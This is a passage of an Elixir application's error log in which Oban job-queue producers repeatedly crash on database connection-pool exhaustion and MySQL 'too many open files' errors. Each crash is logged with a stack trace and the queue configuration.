See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:36:49.239848Z], limit: 10, uuid: "b3f0565f-1d96-44ee-b125-a590f32fd295", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239853Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206588>, refresh_timer: #Reference<0.2525715032.1121189889.206556>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:36:49.239907Z], limit: 5, uuid: "7b803acf-2c8a-4d95-a604-2438b395cebb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46719>, refresh_timer: #Reference<0.2525715032.1077673987.46717>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:36:49.239683Z], limit: 5, uuid: "b759c2fa-3fcd-4b10-819d-1ce0d630c868", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239689Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206590>, refresh_timer: #Reference<0.2525715032.1068498948.67169>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:01.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:36:49.239688Z], limit: 20, uuid: "e13d9b32-84c1-4d82-9f20-9d219be2bbec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239694Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46718>, refresh_timer: #Reference<0.2525715032.1077673987.46710>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:36:49.239947Z], limit: 3, uuid: "ce5c8aa3-f210-4875-b09e-f832da2a17ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:49.239952Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.206589>, refresh_timer: #Reference<0.2525715032.1121189889.206562>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:02.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:02.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:06.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:09.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:11.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:11.827000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:37:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:37:01.239754Z], limit: 5, uuid: "b5c8036c-eca7-40c2-96d9-b9207f83414c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207040>, refresh_timer: #Reference<0.2525715032.1077673987.46832>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:37:01.239286Z], limit: 10, uuid: "643ba01e-78d2-4890-9f14-c9d73909ea86", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239293Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.67327>, refresh_timer: #Reference<0.2525715032.1068498948.67304>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:37:01.239768Z], limit: 3, uuid: "98808f43-4188-4873-9534-4fcd6a6b6462", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207041>, refresh_timer: #Reference<0.2525715032.1077673987.46835>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:37:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:37:01.239590Z], limit: 50, uuid: "e5e63bc4-5975-4389-a2cc-c6e99a2e34c5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:37:01.239596Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.207039>, refresh_timer: #Reference<0.2525715032.1121189889.207001>, dispatch_cooldown: 5, running: %{}}
